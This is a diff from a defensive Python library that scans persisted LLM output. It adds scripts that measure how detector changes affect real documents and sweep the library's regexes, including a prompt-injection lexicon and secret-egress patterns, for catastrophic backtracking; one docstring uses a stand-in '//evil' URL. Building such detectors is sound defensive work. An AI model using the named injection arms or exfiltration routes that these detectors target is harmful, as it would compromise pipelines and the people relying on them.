CLASS and `is_active_tag` became a thin wrapper. A boolean patch point would have
|
||||
left every regrade candidate equal to PRODUCTION — silently, and in the direction
|
||||
that reads as "no change helps".
|
||||
|
||||
The `PRODUCTION` row is the only one that is not a hypothetical: it leaves the
|
||||
shipped predicate in place. A shipped narrowing must equal its candidate row, and
|
||||
saying so in the output is what keeps the doc's numbers checkable after the fact.
|
||||
|
||||
USAGE — corpus roots are arguments, never hardcoded; the corpora live in private
|
||||
consumer repos and their paths must not reach a public mirror:
|
||||
|
||||
python docs/rawhtml-census.py LABEL=/path/to/corpus [LABEL=/path ...]
|
||||
[--ext=.md,.txt] [--include=/subtree/]
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import sys
|
||||
from collections import Counter
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "src"))
|
||||
|
||||
from llm_ingestion_guard import ( # noqa: E402
|
||||
PRESET_TRUSTED_SOURCE, PRESET_USER_UPLOAD, Disposition, guard, scan_output,
|
||||
)
|
||||
from llm_ingestion_guard import active_content as ac # noqa: E402
|
||||
|
||||
BENIGN = Disposition.WARN
|
||||
BLOCKED = Disposition.FAIL_SECURE
|
||||
# Both trust tiers, because a change can move them in OPPOSITE directions: the
|
||||
# carrier split loosens the upload door (HIGH -> MEDIUM is fail_secure ->
|
||||
# quarantine_review) while tightening the trusted one (one finding becomes two,
|
||||
# and >=2 findings at MEDIUM+ trip the compound overlay). A single-preset census
|
||||
# would have reported only the half that flattered the change.
|
||||
PRESETS = {"upload": PRESET_USER_UPLOAD, "trusted": PRESET_TRUSTED_SOURCE}
|
||||
# Disposition severity order, for "did this document get strictly worse?".
|
||||
_TIER = {Disposition.WARN: 0, Disposition.QUARANTINE_REVIEW: 1, Disposition.FAIL_SECURE: 2}
|
||||
# The row a release is judged against: what consumers are running today.
|
||||
_SHIPPED_BEFORE_ROW = "A + base-url (0.6.0)"
|
||||
|
||||
def has_external_url_attr(attrs: str) -> bool:
|
||||
"""True if any URL-bearing attribute points at an attacker-reachable target.
|
||||
|
||||
Delegates to the shipped reader instead of re-deriving it. This function used
|
||||
to parse attributes itself, and the copy drifted: it read attribute names with
|
||||
its own pattern (so `data-src="//evil"` was invisible to it while
|
||||
`_URL_ATTR_RE` matched it) and treated a value as one URL (so an external
|
||||
candidate later in a multi-candidate `srcset` was missed). Both shapes made
|
||||
the `A` rows under-count against the PRODUCTION row printed beside them —
|
||||
exactly the drift the PRODUCTION row exists to expose. Pinned by
|
||||
`tests/test_docs_measurement_scripts.py`.
|
||||
"""
|
||||
return ac._url_attr_is_external(attrs)
|
||||
|
||||
|
||||
def _variant(*, drop: frozenset[str] = frozenset(), external_only: bool = False,
|
||||
carrier_split: bool = False, no_url: bool = False):
|
||||
"""Build an `active_tag_class` replacement.
|
||||
|
||||
Candidates return the tag's CLASS (``"raw-html"`` / ``"raw-html-link"``) or
|
||||
``None``, because since 0.7.0 the raw-HTML pass grades on carrier as well as
|
||||
activity, and a boolean could not express a regrade. ``drop`` removes names
|
||||
from the active set, ``external_only`` gates the URL branch, ``carrier_split``
|
||||
moves the click-required carriers to the link class, and ``no_url`` makes a
|
||||
URL-affordance tag carrying no URL attribute inert.
|
||||
"""
|
||||
keep = frozenset(ac._ACTIVE_TAGS - drop)
|
||||
|
||||
def active_tag_class(name: str, attrs: str):
|
||||
lowered = name.lower()
|
||||
if ac._EVENT_ATTR_RE.search(attrs):
|
||||
return "raw-html"
|
||||
has_url_attr = bool(ac._URL_ATTR_RE.search(attrs))
|
||||
if lowered in keep:
|
||||
if no_url and lowered in ac._URL_AFFORDANCE_TAGS and not has_url_attr:
|
||||
return None
|
||||
if carrier_split and lowered in ac._LINK_TAGS:
|
||||
return "raw-html-link"
|
||||
return "raw-html"
|
||||
if not has_url_attr:
|
||||
return None
|
||||
if external_only and not has_external_url_attr(attrs):
|
||||
return None
|
||||
return "raw-html"
|
||||
|
||||
return active_tag_class
|
||||
|
||||
|
||||
_INERT = None
|
||||
|
||||
CANDIDATES = [
|
||||
("pre-0.6.0 (no narrowing)", _variant()),
|
||||
# The URL-attribute branch requires an EXTERNAL target — the rule the markdown
|
||||
# paths already apply. A relative `href` reaches no attacker-controlled host.
|
||||
("A: url-attr external-only", _variant(external_only=True)),
|
||||
# `<base>` off the NAME set. HTML's `<base>` has its whole affordance in `href`,
|
||||
# which the URL-attribute branch still catches; APIM policy XML's `<base />` is
|
||||
# attribute-less and has no affordance in any renderer.
|
||||
("base-url: <base> needs a URL", _variant(drop=frozenset({"base"}))),
|
||||
("A + base-url (0.6.0)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True)),
|
||||
# 0.7.0's pair. C1 REGRADES (a click-required carrier is MEDIUM, not HIGH);
|
||||
# D NARROWS (a tag whose whole affordance is a URL it does not carry is
|
||||
# inert). They are listed alone as well as together because they co-occur
|
||||
# hard: D strips a document's `</a>` and `<Frame>`, and what is left is the
|
||||
# `<a href=...>` C1 grades down, so each alone leaves the document blocked by
|
||||
# the other's residue. Reading either single row as "this change is cheap" is
|
||||
# the trap this script exists to prevent.
|
||||
("C1: carrier split (alone)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True, carrier_split=True)),
|
||||
("D: no-URL narrowing (alone)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True, no_url=True)),
|
||||
("C1 + D (0.7.0)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True,
|
||||
carrier_split=True, no_url=True)),
|
||||
# Not a hypothetical: the shipped predicate, unpatched. `C1 + D` is what 0.7.0
|
||||
# ships, so these two rows must agree — a mismatch means the code and this
|
||||
# script have drifted apart and every number below is suspect.
|
||||
("PRODUCTION (as shipped)", None),
|
||||
# The CEILING: no narrowing can free more than switching the detector off.
|
||||
("NONE (ceiling)", lambda name, attrs: _INERT),
|
||||
]
|
||||
|
||||
|
||||
def documents(root: Path, exts: tuple[str, ...], include: str) -> list[Path]:
|
||||
files = []
|
||||
for p in sorted(root.rglob("*")):
|
||||
if not p.is_file() or p.suffix not in exts:
|
||||
continue
|
||||
rel = p.relative_to(root)
|
||||
if any(part.startswith(".") for part in rel.parts):
|
||||
continue
|
||||
if include and include not in f"/{rel}":
|
||||
continue
|
||||
files.append(p)
|
||||
return files
|
||||
|
||||
|
||||
def masked_text(text: str) -> str:
|
||||
"""Reproduce `scan_active_content`'s masking up to the raw-HTML pass.
|
||||
|
||||
Order matters: an image is not also a link, and a construct already consumed
|
||||
by an earlier pass must not be re-counted as a tag.
|
||||
"""
|
||||
masked = text[: ac.MAX_SCAN_CHARS]
|
||||
for pattern in (ac.MD_IMAGE_RE, ac.MD_LINK_RE, ac.MD_REFDEF_RE, ac.AUTOLINK_RE):
|
||||
masked = pattern.sub(lambda m: " " * len(m.group(0)), masked)
|
||||
return masked
|
||||
|
||||
|
||||
def branch_census(texts: list[str]) -> tuple[Counter, Counter, Counter]:
|
||||
"""Count active-tag occurrences by the branch that fires first."""
|
||||
names: Counter[str] = Counter()
|
||||
relative: Counter[str] = Counter()
|
||||
external: Counter[str] = Counter()
|
||||
for text in texts:
|
||||
for m in ac.HTML_TAG_RE.finditer(masked_text(text)):
|
||||
name, attrs = m.group("name"), m.group("attrs") or ""
|
||||
if name.lower() in ac._ACTIVE_TAGS:
|
||||
names[name.lower()] += 1
|
||||
elif ac._EVENT_ATTR_RE.search(attrs):
|
||||
names["(on*= handler)"] += 1
|
||||
elif ac._URL_ATTR_RE.search(attrs):
|
||||
(external if has_external_url_attr(attrs) else relative)[name] += 1
|
||||
return names, relative, external
|
||||
|
||||
|
||||
def main() -> None:
|
||||
exts: tuple[str, ...] = (".md", ".txt")
|
||||
include = ""
|
||||
specs = []
|
||||
for arg in sys.argv[1:]:
|
||||
if arg.startswith("--ext="):
|
||||
exts = tuple(e if e.startswith(".") else f".{e}"
|
||||
for e in arg.split("=", 1)[1].split(","))
|
||||
elif arg.startswith("--include="):
|
||||
include = arg.split("=", 1)[1]
|
||||
else:
|
||||
specs.append(arg)
|
||||
|
||||
if not specs:
|
||||
print(__doc__)
|
||||
raise SystemExit(2)
|
||||
|
||||
original = ac.active_tag_class
|
||||
try:
|
||||
for spec in specs:
|
||||
if "=" not in spec:
|
||||
raise SystemExit(f"expected LABEL=PATH, got {spec!r}")
|
||||
label, _, path = spec.partition("=")
|
||||
root = Path(path).expanduser()
|
||||
if not root.is_dir():
|
||||
raise SystemExit(f"{label}: {root} is not a directory")
|
||||
|
||||
texts = [t for t in (p.read_text(encoding="utf-8", errors="replace")
|
||||
for p in documents(root, exts, include)) if t.strip()]
|
||||
n = len(texts)
|
||||
print(f"\n## {label} — {n} documents", flush=True)
|
||||
|
||||
base_nonwarn = base_block = None
|
||||
shipped_before: dict[str, list] = {}
|
||||
for name, fn in CANDIDATES:
|
||||
ac.active_tag_class = original if fn is None else fn
|
||||
# `screen_output(t, policy)` IS `guard(lambda: scan_output(t),
|
||||
# policy)`. Decomposed by exactly one step here so the scan — the
|
||||
# expensive part, and identical across trust tiers — runs once per
|
||||
# document instead of once per tier. Disposition still goes through
|
||||
# the shipped `guard`, so the fail-closed wrapper is not skipped.
|
||||
per_preset = {tier: [] for tier in PRESETS}
|
||||
for t in texts:
|
||||
try:
|
||||
report = scan_output(t)
|
||||
except Exception: # noqa: BLE001 — hand it back to `guard`
|
||||
report = None
|
||||
for tier, policy in PRESETS.items():
|
||||
scan_fn = (lambda: scan_output(t)) if report is None \
|
||||
else (lambda report=report: report)
|
||||
per_preset[tier].append(guard(scan_fn, policy).disposition)
|
||||
dispositions = per_preset["upload"]
|
||||
non_warn = sum(1 for d in dispositions if d is not BENIGN)
|
||||
# BOTH metrics, because they answer different questions and a
|
||||
# REGRADE is invisible to the first one. A narrowing removes the
|
||||
# finding, so a document can reach WARN; a carrier split only
|
||||
# lowers the severity, so the document stays non-WARN and merely
|
||||
# stops being hard-failed. Reporting only `non_warn` would have
|
||||
# printed "frees 0" for every carrier candidate and read as
|
||||
# "the split buys nothing" when it converts a hard block into a
|
||||
# human review — the difference a consumer actually feels.
|
||||
blocked = sum(1 for d in dispositions if d is BLOCKED)
|
||||
# Tightening is measured against the row consumers are RUNNING,
|
||||
# not against the pre-0.6.0 baseline the `frees` column subtracts
|
||||
# from. "Did this release make anything worse for someone on the
|
||||
# current version" is a different question from "how much of the
|
||||
# original over-reach is left", and only the first one belongs in
|
||||
# a release note.
|
||||
if name == _SHIPPED_BEFORE_ROW:
|
||||
shipped_before = per_preset
|
||||
if base_nonwarn is None:
|
||||
base_nonwarn, base_block = non_warn, blocked
|
||||
print(f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
|
||||
f" fail_secure {blocked:4d}", flush=True)
|
||||
continue
|
||||
# A candidate is not free just because it frees documents. Splitting
|
||||
# one finding into two puts TWO findings at MEDIUM+ in a document
|
||||
# that had one, which trips the compound overlay — so a change sold
|
||||
# as a loosening can TIGHTEN a document one tier, and on the trusted
|
||||
# preset (where nothing was hard-failed to begin with) that is the
|
||||
# only direction it can move. Reporting `unblocks` without `tightens`
|
||||
# is a one-sided number.
|
||||
row = (f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
|
||||
f" fail_secure {blocked:4d}"
|
||||
f" frees {base_nonwarn - non_warn:3d} / unblocks "
|
||||
f"{base_block - blocked:3d}")
|
||||
if shipped_before:
|
||||
tightened = {
|
||||
tier: sum(1 for before, after
|
||||
in zip(shipped_before[tier], per_preset[tier])
|
||||
if _TIER[after] > _TIER[before])
|
||||
for tier in PRESETS
|
||||
}
|
||||
row += (f" TIGHTENS vs 0.6.0: upload {tightened['upload']:3d}"
|
||||
f" trusted {tightened['trusted']:3d}")
|
||||
print(row, flush=True)
|
||||
ac.active_tag_class = original
|
||||
|
||||
names, relative, external = branch_census(texts)
|
||||
print(f" name branch : {dict(names.most_common(8))}")
|
||||
print(f" url-attr relative: {dict(relative.most_common(8))} <- A frees these")
|
||||
print(f" url-attr external: {dict(external.most_common(8))} <- A keeps these")
|
||||
finally:
|
||||
ac.active_tag_class = original
|
||||
|
||||
print("\n---")
|
||||
print("Candidates are measured TOGETHER as well as alone: over-reach classes\n"
|
||||
"co-occur, and a document blocked by two of them is freed by neither\n"
|
||||
"alone. Populations are never summed — each has its own denominator.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
354
docs/redos-sweep.py
Normal file
354
docs/redos-sweep.py
Normal file
|
|
@ -0,0 +1,354 @@
|
|||
"""Sweep v3 — arm-by-arm. v2 found only the FIRST quadratic run in a pattern
|
||||
because its units were generic. The `[system](` arm of markdown:link-anchor-
|
||||
injection is separately quadratic and v2 missed it, so v2 is not evidence for
|
||||
the other 82 patterns either.
|
||||
|
||||
Fix: synthesise an almost-match sample string from each regex's own skeleton
|
||||
(classes -> a member, alternations -> each branch, quantifiers -> one copy),
|
||||
then use every token-boundary PREFIX of that sample as a repeating unit. That
|
||||
generates `[`, `[system]`, `[system](` ... automatically, one per run.
|
||||
|
||||
Found with this: markdown:link-anchor-injection (both arms) and
|
||||
markdown:link-ref-comment, fixed in 0.3.3. A generic-payload pass found only the
|
||||
first of the two.
|
||||
|
||||
READ BEFORE TRUSTING A FLAG. The ratio is computed from TWO points, so a hit
|
||||
near the noise floor is a coin flip, not a finding. Post-fix this script flags
|
||||
`sub-agent:delegate-bypass` at x2.8 -- measured properly over four doublings its
|
||||
exponent is 0.96-1.05, i.e. LINEAR (0.2s at the 1M cap). Machine load inflates
|
||||
the small measurements. Always re-measure a flagged arm across 4+ doublings and
|
||||
read the exponent before concluding anything; x4 on doubling is quadratic, x2 is
|
||||
linear. The two real findings above sat at 297s and 55s, not near the floor.
|
||||
|
||||
TABLES (`python docs/redos-sweep.py [table ...]`, default: all). The lexicon is
|
||||
one of six regex surfaces; 0.3.2 swept the other five with HAND-WRITTEN rows,
|
||||
which is the class of sweep this script exists because it misses arms. The
|
||||
collector is therefore MECHANICAL on both axes -- it walks each module's
|
||||
namespace for compiled patterns (so a pattern added later is swept without
|
||||
anyone remembering to list it) and derives each one's CALL MODE by grepping the
|
||||
module source for `NAME.<method>(`. Mode matters: `.match()`/`.fullmatch()` are
|
||||
anchored at position 0 and cannot pay the per-start rescan cost that makes a run
|
||||
quadratic, so timing them with `search` would manufacture unreachable flags,
|
||||
while `.sub()`/`.finditer()` scan every position and must be timed as such.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(__file__).resolve().parent.parent
|
||||
SRC = ROOT / "src" / "llm_ingestion_guard"
|
||||
sys.path.insert(0, str(SRC.parent))
|
||||
sys.path.insert(0, str(ROOT / "tests"))
|
||||
|
||||
from llm_ingestion_guard.lexicon import load_lexicon # noqa: E402
|
||||
from redos_clock import scan_seconds # noqa: E402
|
||||
|
||||
N1, N2 = 4_000, 8_000
|
||||
RATIO_FLAG = 2.6
|
||||
# RE-DERIVED on the CPU clock, not inherited from the wall clock this script used
|
||||
# through 1.1.0. The clock move fixed false REDS in the suite's bounds; it bought
|
||||
# this sweep no sensitivity. Over twelve full runs (2585 arms each) the median
|
||||
# ratio is 1.95-2.03 in every size bucket above 50 us -- the whole surface
|
||||
# measures linear -- yet two-point excursions past RATIO_FLAG survive at every
|
||||
# magnitude (p99 ratio 2.9-3.3 even above 1 ms). Flagged arms per run by floor:
|
||||
# 6.9 at 0.5 ms, 1.1 at 1.0 ms, 0.33 at 1.5 ms. The knee is here. Four arms
|
||||
# flagged across those twelve runs, each in exactly ONE of them, and six arms
|
||||
# that have ever flagged re-measure at exponent 0.97-1.09 over six doublings.
|
||||
# Descheduling was never what made this sweep noisy -- a two-point ratio is, so
|
||||
# read a clean run and a flagged run with the same suspicion.
|
||||
NOISE_FLOOR = 0.0015
|
||||
HARD_CAP = 20.0
|
||||
|
||||
_CLASS_SAMPLE = {
|
||||
"\\s": " ", "\\S": "a", "\\w": "a", "\\W": "-",
|
||||
"\\d": "1", "\\D": "a", "\\b": "", "\\B": "",
|
||||
}
|
||||
|
||||
|
||||
def sample_class(body: str) -> str:
|
||||
"""Pick one character a class accepts (negated -> something not listed)."""
|
||||
negated = body.startswith("^")
|
||||
inner = body[1:] if negated else body
|
||||
if negated:
|
||||
for cand in "a1 <>[](){}:/@.-x":
|
||||
if cand not in inner:
|
||||
return cand
|
||||
return "\x01"
|
||||
m = re.search(r"([A-Za-z0-9])-([A-Za-z0-9])", inner)
|
||||
if m:
|
||||
return m.group(1)
|
||||
for ch in inner:
|
||||
if ch not in "\\^-":
|
||||
return ch
|
||||
return "a"
|
||||
|
||||
|
||||
def sample(src: str) -> list[str]:
|
||||
"""Emit prefix samples at token boundaries. Returns cumulative prefixes."""
|
||||
prefixes: list[str] = []
|
||||
buf = ""
|
||||
i, n = 0, len(src)
|
||||
while i < n:
|
||||
ch = src[i]
|
||||
if ch == "\\" and i + 1 < n:
|
||||
tok = src[i:i + 2]
|
||||
buf += _CLASS_SAMPLE.get(tok, tok[1])
|
||||
i += 2
|
||||
elif ch == "[":
|
||||
j = i + 1
|
||||
if j < n and src[j] == "^":
|
||||
j += 1
|
||||
if j < n and src[j] == "]":
|
||||
j += 1
|
||||
while j < n and src[j] != "]":
|
||||
j += 2 if src[j] == "\\" else 1
|
||||
buf += sample_class(src[i + 1:j])
|
||||
i = j + 1
|
||||
elif ch == "(":
|
||||
depth, j = 1, i + 1
|
||||
while j < n and depth:
|
||||
if src[j] == "\\":
|
||||
j += 2
|
||||
continue
|
||||
depth += (src[j] == "(") - (src[j] == ")")
|
||||
j += 1
|
||||
body = src[i + 1:j - 1]
|
||||
body = re.sub(r"^\?(:|P<[^>]*>|=|!|<=|<!)", "", body)
|
||||
branch = body.split("|")[0]
|
||||
inner = sample(branch)
|
||||
buf += inner[-1] if inner else ""
|
||||
i = j
|
||||
elif ch in "?*+":
|
||||
i += 1
|
||||
elif ch == "{":
|
||||
j = src.find("}", i)
|
||||
i = (j + 1) if j != -1 else i + 1
|
||||
elif ch in "^$|":
|
||||
i += 1
|
||||
else:
|
||||
buf += ch
|
||||
i += 1
|
||||
prefixes.append(buf)
|
||||
seen, out = set(), []
|
||||
for p in prefixes:
|
||||
if p and p not in seen and len(p) <= 32:
|
||||
seen.add(p)
|
||||
out.append(p)
|
||||
return out
|
||||
|
||||
|
||||
def build(unit: str, n: int) -> str:
|
||||
return (unit * (n // len(unit) + 1))[:n]
|
||||
|
||||
|
||||
def t(rx: re.Pattern[str], text: str, mode: str = "search") -> float:
|
||||
"""Time one scan of ``text`` in the mode the production code actually uses.
|
||||
|
||||
On the SAME clock every ReDoS bound in the suite is measured against --
|
||||
``tests/redos_clock.py``, process CPU time -- imported rather than restated
|
||||
here, for the reason that module gives: a blowup is spent cycles, and a
|
||||
loaded machine steals wall clock without adding any. Until 1.1.0 this timed
|
||||
on ``time.monotonic()``, which made the floor below and the cap figure
|
||||
derived from it numbers from a different instrument than the bounds they
|
||||
justify. The closure is built BEFORE the clock starts, so only the scan is
|
||||
charged.
|
||||
"""
|
||||
mode = mode.rstrip("*")
|
||||
if mode == "finditer":
|
||||
def scan(s: str) -> None:
|
||||
for _ in rx.finditer(s):
|
||||
pass
|
||||
elif mode == "sub":
|
||||
def scan(s: str) -> None:
|
||||
rx.sub("", s)
|
||||
elif mode == "match":
|
||||
def scan(s: str) -> None:
|
||||
rx.match(s)
|
||||
elif mode == "fullmatch":
|
||||
def scan(s: str) -> None:
|
||||
rx.fullmatch(s)
|
||||
else:
|
||||
def scan(s: str) -> None:
|
||||
rx.search(s)
|
||||
return scan_seconds(scan, text)
|
||||
|
||||
|
||||
# --- targets ----------------------------------------------------------------
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Target:
|
||||
table: str
|
||||
id: str
|
||||
regex: re.Pattern[str]
|
||||
src: str
|
||||
mode: str
|
||||
|
||||
|
||||
_MODE_ORDER = ("sub", "finditer", "search", "match", "fullmatch")
|
||||
|
||||
|
||||
_CALL_RE = r"\b%s\b(?:\[[^\]]*\]|\.\w+)*\s*\.\s*(search|match|fullmatch|finditer|subn?)\("
|
||||
|
||||
|
||||
def _mode_for(names: tuple[str, ...], module_src: str) -> str:
|
||||
"""Derive the call mode from the module source: worst scanning mode wins.
|
||||
|
||||
``names`` are the identifiers a pattern is reachable through (its own name
|
||||
plus, for a pattern living in a table, the table's name). A pattern in a
|
||||
table is usually never named directly -- it is reached through the loop
|
||||
variable of ``for p in TABLE:`` -- so those bindings are resolved too, else
|
||||
the whole egress table reads as ``search`` when it is really ``finditer``.
|
||||
A pattern with NO direct reference at all is reached indirectly some other
|
||||
way -- ``active_content`` passes each construct regex into a local ``_scan``
|
||||
helper that calls ``pattern.sub`` on the parameter -- so it falls back to the
|
||||
worst scanning mode rather than the mildest. ``sub``/``finditer`` visit every
|
||||
start position where ``search`` stops at the first match, so the fallback can
|
||||
only over-measure, never miss. Fallback rows print with a ``*``.
|
||||
"""
|
||||
idents = set(names)
|
||||
for name in names:
|
||||
for m in re.finditer(r"for\s+([\w,\s]+?)\s+in\s+%s\b" % re.escape(name),
|
||||
module_src):
|
||||
idents.update(v.strip() for v in m.group(1).split(",") if v.strip())
|
||||
found = set()
|
||||
for ident in idents:
|
||||
for m in re.finditer(_CALL_RE % re.escape(ident), module_src):
|
||||
found.add("sub" if m.group(1).startswith("sub") else m.group(1))
|
||||
for mode in _MODE_ORDER:
|
||||
if mode in found:
|
||||
return mode
|
||||
return "sub*"
|
||||
|
||||
|
||||
def _walk(value, path: str, depth: int = 0):
|
||||
"""Yield (path, compiled_pattern) for patterns nested in tables/dataclasses."""
|
||||
if isinstance(value, re.Pattern):
|
||||
yield path, value
|
||||
elif depth < 3 and isinstance(value, (list, tuple, frozenset, set)):
|
||||
for i, item in enumerate(value):
|
||||
yield from _walk(item, f"{path}[{i}]", depth + 1)
|
||||
elif (depth < 3 and not isinstance(value, type)
|
||||
and hasattr(value, "__dataclass_fields__")):
|
||||
ident = getattr(value, "id", None)
|
||||
for f in value.__dataclass_fields__:
|
||||
sub = getattr(value, f)
|
||||
if isinstance(sub, re.Pattern):
|
||||
yield (f"{ident}" if ident else f"{path}.{f}"), sub
|
||||
|
||||
|
||||
def collect_module(mod_name: str, table: str, only=None, skip=()) -> list[Target]:
|
||||
"""Every compiled pattern reachable from a module's namespace."""
|
||||
mod = importlib.import_module(f"llm_ingestion_guard.{mod_name}")
|
||||
module_src = (SRC / f"{mod_name}.py").read_text()
|
||||
out: list[Target] = []
|
||||
for name, value in vars(mod).items():
|
||||
if name.startswith("__") or name in skip:
|
||||
continue
|
||||
if only is not None and name not in only:
|
||||
continue
|
||||
for path, rx in _walk(value, name):
|
||||
out.append(Target(table, path, rx, rx.pattern,
|
||||
_mode_for((name, path), module_src)))
|
||||
return out
|
||||
|
||||
|
||||
def collect_lexicon() -> list[Target]:
|
||||
raw = json.loads((SRC / "injection_lexicon.json").read_text())["patterns"]
|
||||
src_by_id = {e["id"]: e["regex"] for e in raw}
|
||||
# scan_lexicon drives every entry through `.search()` (lexicon.py:289,352).
|
||||
return [Target("lexicon", p.id, p.regex, src_by_id[p.id], "search")
|
||||
for p in load_lexicon()]
|
||||
|
||||
|
||||
def collect_egress() -> list[Target]:
|
||||
return collect_module("output", "egress", only={"_SECRET_PATTERNS"})
|
||||
|
||||
|
||||
def collect_output() -> list[Target]:
|
||||
return collect_module("output", "output", skip={"_SECRET_PATTERNS"})
|
||||
|
||||
|
||||
TABLES = {
|
||||
"lexicon": collect_lexicon,
|
||||
# The normalizers run `.sub()` over EVERY input before any pattern matches;
|
||||
# 0.3.3 swept the 83 patterns and not these. `_LEXICON_CACHE` is skipped: it
|
||||
# is empty until `load_lexicon()` runs, so counting it would make this
|
||||
# table's size depend on whether `lexicon` was swept first.
|
||||
"normalize": lambda: collect_module("lexicon", "normalize",
|
||||
skip={"_LEXICON_CACHE"}),
|
||||
"active_content": lambda: collect_module("active_content", "active_content"),
|
||||
"entropy": lambda: collect_module("entropy", "entropy") + [
|
||||
# Inline literals in is_base64_like / is_hex_blob (entropy.py:111,118),
|
||||
# invisible to a namespace walk.
|
||||
Target("entropy", "is_base64_like", re.compile(r"[A-Za-z0-9+/]{20,}={0,3}"),
|
||||
r"[A-Za-z0-9+/]{20,}={0,3}", "fullmatch"),
|
||||
Target("entropy", "is_hex_blob", re.compile(r"(?:0x)?[0-9a-fA-F]{32,}"),
|
||||
r"(?:0x)?[0-9a-fA-F]{32,}", "fullmatch"),
|
||||
],
|
||||
"egress": collect_egress,
|
||||
"output": collect_output,
|
||||
# Not "detector tables", but the same regex surface on the same paths.
|
||||
# Leaving them out would reproduce the 0.3.2 mistake at module granularity.
|
||||
"sanitize": lambda: collect_module("sanitize", "sanitize"),
|
||||
"neutralize": lambda: collect_module("neutralize", "neutralize"),
|
||||
"okf": lambda: collect_module("okf", "okf"),
|
||||
"contract": lambda: collect_module("contract", "contract"),
|
||||
"fence": lambda: collect_module("fence", "fence"),
|
||||
}
|
||||
|
||||
EXTRA_UNITS = ["[", "<a:", "<a ", "![", "a://:"]
|
||||
|
||||
|
||||
def sweep(targets: list[Target]) -> list[tuple]:
|
||||
flagged = []
|
||||
for tgt in targets:
|
||||
units = sample(tgt.src) + EXTRA_UNITS
|
||||
hits = []
|
||||
for u in units:
|
||||
t1 = t(tgt.regex, build(u, N1), tgt.mode)
|
||||
if t1 > HARD_CAP:
|
||||
hits.append((u, t1, float("inf"), float("inf")))
|
||||
continue
|
||||
t2 = t(tgt.regex, build(u, N2), tgt.mode)
|
||||
ratio = t2 / t1 if t1 > 0 else 0.0
|
||||
if t2 >= NOISE_FLOOR and ratio >= RATIO_FLAG:
|
||||
hits.append((u, t1, t2, ratio))
|
||||
for u, t1, t2, r in sorted(hits, key=lambda h: -h[2])[:3]:
|
||||
flagged.append((tgt, u, t1, t2, r))
|
||||
print(f" {tgt.table}/{tgt.id:34} [{tgt.mode:9}] "
|
||||
f"unit={u!r:14} {t1:.4f}->{t2:.4f}s x{r:.1f}")
|
||||
return flagged
|
||||
|
||||
|
||||
def main() -> None:
|
||||
argv = sys.argv[1:]
|
||||
listing = "--list" in argv
|
||||
wanted = [a for a in argv if a != "--list"] or list(TABLES)
|
||||
unknown = [w for w in wanted if w not in TABLES]
|
||||
if unknown:
|
||||
sys.exit(f"unknown table(s): {unknown}; known: {list(TABLES)}")
|
||||
print(f"== arm-by-arm sweep, N={N1}->{N2}, flag ratio>={RATIO_FLAG} ==")
|
||||
total, flagged = 0, []
|
||||
for name in wanted:
|
||||
targets = TABLES[name]()
|
||||
total += len(targets)
|
||||
print(f"-- {name}: {len(targets)} patterns")
|
||||
if listing:
|
||||
for tgt in targets:
|
||||
print(f" {tgt.id:34} [{tgt.mode:9}] {tgt.src[:70]}")
|
||||
continue
|
||||
flagged += sweep(targets)
|
||||
if listing:
|
||||
print(f"\n{total} patterns across {len(wanted)} table(s)")
|
||||
return
|
||||
ids = {f[0].id for f in flagged}
|
||||
print(f"\ncandidates: {len(ids)} patterns / {total}, {len(flagged)} arms")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
7
llms.txt
Normal file
7
llms.txt
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
# llm-ingestion-guard
|
||||
|
||||
> Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure.
|
||||
|
||||
```bash
|
||||
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v1.1.0"
|
||||
```
|
||||
|
|
@ -4,15 +4,15 @@ build-backend = "hatchling.build"
|
|||
|
||||
[project]
|
||||
name = "llm-ingestion-guard"
|
||||
version = "0.3.2"
|
||||
description = "A minimal, dependency-light defensive layer for LLM ingestion pipelines — the write-time siblings of query-time chatbot guardrails."
|
||||
version = "1.2.0"
|
||||
description = "Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure."
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.10"
|
||||
license = { file = "LICENSE" }
|
||||
authors = [{ name = "Kjell Tore Guttormsen" }]
|
||||
keywords = ["llm", "security", "prompt-injection", "rag", "ingestion", "guardrails", "write-time"]
|
||||
classifiers = [
|
||||
"Development Status :: 3 - Alpha",
|
||||
"Development Status :: 5 - Production/Stable",
|
||||
"Intended Audience :: Developers",
|
||||
"License :: OSI Approved :: MIT License",
|
||||
"Programming Language :: Python :: 3",
|
||||
|
|
|
|||
|
|
@ -40,17 +40,21 @@ from .disposition import (
|
|||
Policy,
|
||||
Trust,
|
||||
Provenance,
|
||||
Risk,
|
||||
Disposition,
|
||||
DispositionResult,
|
||||
DEFAULT_ACTION_MAP,
|
||||
PRESET_TRUSTED_SOURCE,
|
||||
PRESET_USER_UPLOAD,
|
||||
)
|
||||
from .contract import (
|
||||
assert_tool_less,
|
||||
assert_credential_allowlist,
|
||||
assert_within_input_cap,
|
||||
credential_env_names,
|
||||
scoped_env,
|
||||
ContractViolation,
|
||||
OversizeInputError,
|
||||
)
|
||||
from .grounding import (
|
||||
SourceGroundingCheck,
|
||||
|
|
@ -59,7 +63,7 @@ from .grounding import (
|
|||
)
|
||||
from . import okf
|
||||
|
||||
__version__ = "0.3.2"
|
||||
__version__ = "1.2.0"
|
||||
|
||||
|
||||
# --- §6 bookends: the two library-side halves around the transform ---------
|
||||
|
|
@ -133,13 +137,14 @@ __all__ = [
|
|||
"neutralize", "NeutralizeResult",
|
||||
# output-side
|
||||
